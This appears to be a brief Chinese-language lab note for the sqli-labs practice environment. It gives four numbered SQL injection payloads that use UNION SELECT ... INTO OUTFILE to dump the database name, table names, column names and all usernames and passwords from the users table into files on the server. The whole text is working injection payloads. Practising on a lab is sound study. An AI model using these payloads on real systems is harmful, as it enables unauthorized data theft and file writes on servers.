1、获取数据库名
id=-1')) union select 1,2,database() into outfile "E:/wampserver/wamp/tmp/1.txt" lines terminated by '\r\n'--+ //每行以换行符结尾
2、获取security中的表
id=-1')) union select 1,2 ,table_name from information_schema.tables where table_schema='security' into outfile "E:/wampserver/wamp/tmp/2.txt"--+
手动换行后
3、获取users中的字段
id=-1')) union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema='security' into outfile "E:/wampserver/wamp/tmp/3.txt"--+
4、获取users表中的所有数据
id=-1')) union select id,username,password from users into outfile "E:/wampserver/wamp/tmp/4.txt"--+